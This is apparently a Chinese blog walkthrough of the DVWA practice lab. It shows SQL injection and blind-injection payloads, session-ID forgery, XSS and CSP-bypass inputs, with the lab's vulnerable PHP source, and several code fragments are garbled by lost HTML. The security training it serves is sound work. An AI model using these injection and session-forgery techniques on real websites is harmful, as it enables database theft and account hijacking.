id=2 union select 1,table_name from information_schema.tables wheretable_schema=(select database())#&Submit=Submit

确定列数

id=1 order by 2不报错

id=1 order by 3报错

列数为2列

dvwa靶场_第60张图片

dvwa靶场_第61张图片

爆表

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

得到表名guestbook和users
dvwa靶场_第62张图片

爆列

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761   

(0x7573657273是users的十六进制ascii码)

得到列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login、

最终得到数据:

dvwa靶场_第63张图片

(high)

dvwa靶场_第64张图片

我们看一下源码



if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
Something went wrong.
'
); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>

窗口输入1’,按Submit,页面报错

dvwa靶场_第65张图片

窗口输入1’’,按Submit,正常显示结果

dvwa靶场_第66张图片

所以闭合是单引号,并且本关没有转义单引号

窗口输入1’ order by 3#,按Submit,报错

窗口输入1’ order by 2#,按Submit,返回正常结果

因此列数为2列

对比一下low级别的源码,可以发现high级别的sql语句只是在where语句的后面添加了一个LIMIT 1限定,令其只能输出一个结果。对于这种情况,我们只需在注入的时候加上#注释掉后面的LIMIT 1就可以了。其操作步骤就和LOW级别一样了。

SQL Injection (Blind)

SQL盲注简介

(1)SQL盲注

SQL Injection(Blind),即SQL盲注;

注入:可以查看到详细内容;

盲注:目标只会回复是或不是,没有详细内容;

(2)手工盲注思路

手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是d啊?”,通过这种机械的询问,最终获得你想要的数据。

(3)SQL盲注的类型

基于布尔值的盲注;

基于时间的盲注;

基于报错的盲注;

(4)SQL盲注的过程

1. 判断是否存在注入,注入是字符型还是数字型;

2. 猜解当前数据库名;

    猜解数据库的长度;猜解数据库的名称;

3. 猜解数据库中的表名;

    猜解库中有几个表;猜解表的长度;猜解表的名称;

4. 猜解表中的字段名;

    猜解表中有几个字段;猜解字段的长度;猜解字段的名称;

5. 猜解数据;

(low)

查看源码:

phpif( isset( $_GET[ 'Submit' ] ) ) {  // Get input  $id = $_GET[ 'id' ];  // Check database  $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";  $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors  // Get results  $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors  if( $num > 0 ) {    // Feedback for end user    echo '
User ID exists in the database.
'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

分析:

Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL漏洞;

同时SQL语句查询返回的结果只有两种:

User ID exists in the database;User ID is MISSING from the database;

基于布尔的盲注:

1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:

dvwa靶场_第67张图片

输入1’ and 1=1 #,显示存在:

dvwa靶场_第68张图片

说明存在字符型的SQL盲注。

2.猜解当前数据库名
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
输入1’ and length(database())=1 #,显示不存在;
输入1’ and length(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:

dvwa靶场_第69张图片

说明数据库名长度为4。

采用二分法猜解数据库名。
输入

1’ and ascii(substr(databse(),1,1))>97 #

显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入

1’ and ascii(substr(databse(),1,1))<122 #

显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入

1’ and ascii(substr(databse(),1,1))<109 #

显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入

1’ and ascii(substr(databse(),1,1))<103 #

显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入

1’ and ascii(substr(databse(),1,1))<100 #

显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入

1’ and ascii(substr(databse(),1,1))>100 #

显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

1' and ascii(substr(database(),1,1))=100#        //d

1' and ascii(substr(database(),2,1))=118#        //v

1' and ascii(substr(database(),3,1))=119#        //w

1' and ascii(substr(database(),4,1))=97#          //a

最终获得库名:dvwa

猜解数据库中表的个数

输入

1' and  (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

dvwa靶场_第70张图片

猜解数据库中表的长度**(guestbook——9,users——5)**

输入

 1' and   length(substr((select   table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#

输入

1' and  length(substr((select  table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#

猜解数据库中的表名(guestbook,users)

输入

1' and  ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#

以此类推:guestbook中的k的表示为:

输入

1' and   ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#

以此类推:users表中u如下表示:

1' and   if(ascii(substr((select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)#

猜解users表中有几个字段

输入

1' and  if((select count(column_name)  from information_schema.columns  where table_name='users')=8,sleep(5),1)#

猜解字段的长度(以user_id为例)

输入

1' and   if(length(substr((select   column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),1)#

猜解字段的名称(以user_id中的u为例)

输入

1' and   if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)#     //u

猜解数据;

1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#
//admin中的a;

image-20220205182810685

(medium)

dvwa靶场_第71张图片



if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
; } else { // Feedback for end user echo '
User ID is MISSING from the database.
'
; } //mysql_close(); } ?>

根据源代码发现使用了post方法,且前端输入有限制

用burpsuit抓包

Submit=Submit&id=1 and 1 =1

dvwa靶场_第72张图片

1’and ‘1’ ='1 

失败

dvwa靶场_第73张图片

猜解数据库长度

1 and length(database())=4 # 

成功数据库为4位

dvwa靶场_第74张图片

猜解数据库名称
1 and ascii(substr(database(),1,1))>97 #
1 and ascii(substr(database(),1,1))=100 #

dvwa靶场_第75张图片

dvwa靶场_第76张图片

接下来的方法就和初级的一样,只需要把‘去掉就可以

(high)



if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> 1'or'1'='1

High Security Level的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,我们采用基于布尔的盲注(同low级别)

dvwa靶场_第77张图片

(impossible)



if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '
User ID exists in the database.
'
; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'
; } } } // Generate Anti-CSRF token generateSessionToken(); ?>

Impossible Security Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

弱会话ID(Weak Session IDs)

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带

Sesion去访问。

sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需登录直接进入特定用户界面,进而进行其他操作。

用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。

服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

Session利用的实质 :

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

(low)

dvwa靶场_第78张图片



$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

分析源码:

如果没有变量 S E S S I O N [ ′ l a s t s e s s i o n i d ′ ] , 则 变 量 值 设 置 为 0 , 变 量 值 加 1 ; 如 果 有 变 量 _SESSION['last_session_id'],则变量值设置为0,变量值加1;如果有变量 SESSION[lastsessionid]01_SESSION[‘last_session_id’],则变量值加1。然后向用户发送名为dvwaSession,值为$_SESSION[‘last_session_id’]的HTTP cookie。

也就是说,名为dvwaSession的cookie的值从1开始每按一次Generate按钮递增1。

setcookie()函数的作用是向客户端发送一个 HTTP cookie。

步骤:

low级别未设置过滤,直接用bp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一:

dvwa靶场_第79张图片

dvwa靶场_第80张图片

构造payload:dvwaSession=7; PHPSESSID=urd8316u153rbjmldctto1tck5; security=low

通过浏览器的hackbar,提交,选择cookie提交方式,提交后发现直接登录dvwa,绕过密码验证:

dvwa靶场_第81张图片

(MEDIUM)

分析源码:



$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
}
?>

*ime()*函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。

本关代码在用户按下Generate按钮之后,返回等于当前时间戳的dvwaSession值作为cookie

步骤:

1、Chrome浏览器按F12,调出开发者工具,找到Application–Storage–Cookies。第1次按Generate按钮,dvwaSession值为1645192564

dvwa靶场_第82张图片

2、第2次按Generate按钮dvwaSession值为1645192679

3、第3次按Generate按钮dvwaSession值为1645192711

4、从以上三步的结果可以看出来,每次按Generate按钮生成的10位dvwaSession的值前6位是一样的,只有后4位不同,并且后4位是增长趋势的,每次增长的数量也不同。

合理推测可能与时间有关。

必应搜索一下时间戳转换工具,看看推测是否成立:

第1个dvwaSession

image-20220218220050269

第2个dvwaSession

image-20220218220123117

第3个dvwaSession

image-20220218220137359

从上面的结果基本可以看出来,要么dvwaSession就是按Generate按钮时候的时间戳,要么就是时间戳加减了什么值。

于是又对着时间戳转换器中现在的时间戳按了一次Generate按钮,产生的dvwaSession和当前时间戳基本上是一致的。

这种由时间戳产生的Session ID也是可以通过爆破来猜测的。

(HIGH)

分析源码:



$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

从代码可见,这关dvwaSession的值和上文猜测的一样,也是从1开始递增,并经过md5加密的。

除此之外,从代码中可见,这关*setcookie()*函数的参数很多,我们来一个一个看一下。

*setcookie()*函数的定义如下

setcookie ( string $name , string $value = "" , int $expires = 0 , string $path = "" , string $domain = "" , bool $secure = false , bool $httponly = false ) : bool

name:

cookie名称。这里是"dvwaSession"。

value:

cookie值,存储于用户电脑。这里是$cookie_value。

expires:

Cookie的过期时间。如果设置成零,或者忽略参数, Cookie 会在会话结束时过期(也就是关掉浏览器时)。这里是time()+3600,表示1小时后过期。

path:

Cookie 有效的服务器路径。 设置成 ‘/’ 时,Cookie 对整个域名 domain 有效。 如果设置成 ‘/foo/’, Cookie 仅仅对 domain 中 /foo/ 目录及其子目录有效(比如 /foo/bar/)。 默认值是设置 Cookie 时的当前目录。这里是"/dvwa/vulnerabilities/weak_id/"。

步骤:

1、按下Generate按钮,生成了名为dvwaSession,值为c4ca4238a0b923820dcc509a6f75849b的cookie。

这个cookie看起来是32位十六进制,也就是128位二进制,有可能是md5

dvwa靶场_第83张图片

md5解密得到明文1:

dvwa靶场_第84张图片

2、再次按下Generate按钮,dvwaSession的值更新为a87ff679a2f3e71d9181a67b7542122c

md5解密后是4:

dvwa靶场_第85张图片

3、至此,可以判断本关dvwaSession的值是md5加密的,并且明文是每按一次Generate按钮递增1的。

这种也可以爆破。

设置爆破位置:

dvwa靶场_第86张图片

设置payloads:

dvwa靶场_第87张图片

注意Payload Processing中要添加task *Hash:MD5*

dvwa靶场_第88张图片

(IMPOSSIBLE)

分析源码:



$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

本关cookie值计算采用的是SHA-1散列函数,并且计算时还通过mt_rand()函数,在基于时间(time()函数)的基础上引入了随机数,因此不具备可预测性。

除此之外,setcookie()函数的secure参数和httponly参数在本关都是true,增加了cookie的安全性。
本关生成的cookie如下图Response报文的Set-Cookie头所示,由于设置了secure,因此该cookie仅可通过https传输,因此本关中客户端并没有收到服务器发来的cookie。

image-20220218225227878

DOM Based Cross Site Scripting (XSS)——DOM型XSS

XSS 介绍

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

XSS利用的常见用途:
盗取用户cookies、劫持会话、流量劫持、网页挂马、DDOS、提升权限…

DOM全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

(low)

分析源码:


# No protections, anything goes
?>

步骤:

可以发现并无任何保护措施,直接尝试注入

直接在URL处输入,

default=

dvwa靶场_第89张图片

(medium )

分析源码:


 
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, ") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
 
?>

需要闭合select标签和option标签,构造代码


即可触发弹窗,意思是如果图片无法打开则执行后面的弹窗

dvwa靶场_第90张图片

(high )

分析源代码:


 
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
 
    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
 
?>

可以从代码中看到,只能从已有的case中选择,否则会输出默认的English

在English后添加 # 即可,# 后的代码不会传至后台,但会在前端执行

?default=English#

dvwa靶场_第91张图片

反射型Reflected Cross Site Scripting (XSS)

反射型 XSS 介绍

“跨站点脚本(XSS)”攻击是一种注入问题,其中恶意脚本被注入到其他良性的和可信的网站中。
当攻击者使用Web应用程序将恶意代码(通常以浏览器端脚本的形式)发送给不同的最终用户时,会发生XSS攻击。
允许这些攻击成功的缺陷非常普遍,并且在Web应用程序的任何地方使用来自用户的输入在输出中发生,而不验证或编码它。

攻击者可以使用XSS向恶意的用户发送恶意脚本。
终端用户的浏览器没有办法知道脚本不应该被信任,并且将执行JavaScript。
因为它认为脚本来自可信来源,恶意脚本可以访问任何cookie、会话令牌或浏览器保留的其他敏感信息,并与该站点一起使用。
这些脚本甚至可以重写HTML页面的内容。

因为它是一个反射的XSS,恶意代码不存储在远程Web应用程序中,所以需要一些社会工程(例如通过电子邮件/聊天的链接)。

(low)

分析源码:



// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '
Hello ' . $_GET[ 'name' ] . '
'
; } ?>

方法:

发现此时没有任何过滤,直接写

//测试是否有xss漏洞
//获取cookie

dvwa靶场_第92张图片

dvwa靶场_第93张图片

(medium)

分析源码:



// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '//双写绕过



dvwa靶场_第94张图片

dvwa靶场_第95张图片

(high)

分析源码:

Hello ${name}
"; } ?>

可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

漏洞利用

虽然无法使用


成功弹框:

dvwa靶场_第96张图片

Stored Cross Site Scripting (XSS)(存储型)

它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多。

(Low)

分析源码:



if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); //mysql_close(); } ?>

相关函数说明
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

stripslashes(string)
函数删除字符串中的反斜杠。
可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。

message 有对于空格的过滤,以及script的删除
name有对于页数字符的过滤

message 的过滤对于sql还有用,对于xss 基本无用

方法:

message一栏输入,成功弹框

dvwa靶场_第97张图片

Medium

分析源码:



if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '

dvwa靶场_第98张图片

dvwa靶场_第99张图片

High

分析源码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); //mysql_close(); } ?>

可以看到,这里使用正则表达式过滤了

方法:

同之前的反射型XSS方法一样,Burpsuite改包即可,抓包改name参数为


成功弹窗:

dvwa靶场_第100张图片

Content Security Policy (CSP) Bypass绕过内容

dvwa靶场_第101张图片

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
两种方法可以启用 CSP。

1.一种是通过 HTTP 响应头信息的Content-Security-Policy字段。
2.一种是通过网页的标签。



script-src,脚本:只信任当前域名
object-src:不信任任何URL,即不加载任何资源
style-src,样式表:只信任cdn.example.org和third-party.org
**child-src:**必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。
**其他资源:**没有限制其他资源
启用CSP后,不符合 CSP 的外部资源就会被阻止加载。

low

分析源码:



$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    
";
}
$page[ 'body' ] .= '

You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:

'
;

观察头信息,罗列允许JavaScript的网站:

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; 

我们也可以在网页提交信息时候,通过开发者工具也可以观察同样的结果

https://pastebin.com 是一个快速文本分享网站

我们可以在里面写入攻击代码:

alert(document.cookie)

dvwa靶场_第102张图片

创建成功后,点击raw

dvwa靶场_第103张图片

生成攻击页面

dvwa靶场_第104张图片

将这个网址输入到文本框中,点击include 包含这个文本进来,成功弹框

https://pastebin.com/raw/bREf96GJ

Medium CSP

分析源码:


 
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
 
header($headerCSP);
 
// Disable XSS protections so that inline alert boxes will work
 
header ("X-XSS-Protection: 0");
 
# 
 
?>
 
<?php
 
if (isset ($_POST['include'])) {
 
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
 
}
 
$page[ 'body' ] .= '

Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

'
;>

http头信息中的script-src的合法来源发生了变化,说明如下

1.unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。
2.nonce-source,仅允许特定的内联脚本块,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA”

可以直接输入以下代码



成功弹框:

dvwa靶场_第105张图片

(high)

dvwa靶场_第106张图片

分析源码:

 <?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '

The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.

1+2+3+4+5=

'
; vulnerabilities/csp/source/high.js function clickButton() { var s = document.createElement("script"); s.src = "source/jsonp.php?callback=solveSum"; document.body.appendChild(s); } function solveSum(obj) { if ("answer" in obj) { document.getElementById("answer").innerHTML = obj['answer']; } } var solve_button = document.getElementById ("solve"); if (solve_button) { solve_button.addEventListener("click", function() { clickButton(); }); }

这里的CSP过滤规则,只允许加载self 也就是本页面的脚本

查看这个页面的源代码

//会生成一个script 标签
 
function clickButton() {
 
    var s = document.createElement("script");
 
    s.src = "source/jsonp.php?callback=solveSum";
 
    document.body.appendChild(s);
 
}
 
function solveSum(obj) {
 
    if ("answer" in obj) {
 
        document.getElementById("answer").innerHTML = obj['answer'];
 
    }
 
}
 
//监听到solve 按钮,就会调用clickButton() 函数
 
var solve_button = document.getElementById ("solve");
 
if (solve_button) {
 
    solve_button.addEventListener("click", function() {
 
        clickButton();
 
    });
 
}
 

方法:

分析代码,可使用攻击post请求提交参数,具体攻击方法如下

我们抓包修改 callback=alert(1) 发送数据包

Poc/DVWA/vulnerabilities/csp/source/jsonp.php?callback=alert(1)

,触发弹窗

dvwa靶场_第107张图片

JavaScript Attacks(JS攻击)

JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的

(low)

分析源码:


$page[ 'body' ] .= <<<EOF

EOF;
?>

再来看一下index.html

$message = "";
 
// Check whwat was sent in to see if it was what was expected
 
if ($_SERVER['REQUEST_METHOD'] == "POST") {
 
    if (array_key_exists ("phrase", $_POST) && array_key_exists ("token", $_POST)) {
 
 
 
        $phrase = $_POST['phrase'];
 
        $token = $_POST['token'];
 
 
 
        if ($phrase == "success") {
 
            switch( $_COOKIE[ 'security' ] ) {
 
                case 'low':
 
                    if ($token == md5(str_rot13("success"))) {
 
                        $message = "

Well done!

"
; } else { $message = "

Invalid token.

"
; } } } } }

这里通过Post 方式获取变量phrase 和token 的值,if(phrase == “success”) 且token值正确的话,就输出well done!

直接输入success 发现无效

检查页面源代码,发现token的值由md5(rot13(phrase))决定的dvwa靶场_第108张图片

中间那一大团使用了 md5 加密生成了 token,和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值

str_rot13() 函数对字符串执行 ROT13 编码。
ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
可以看到只要token等于md5加密success全体移动13个字母后的字母,就能通过。

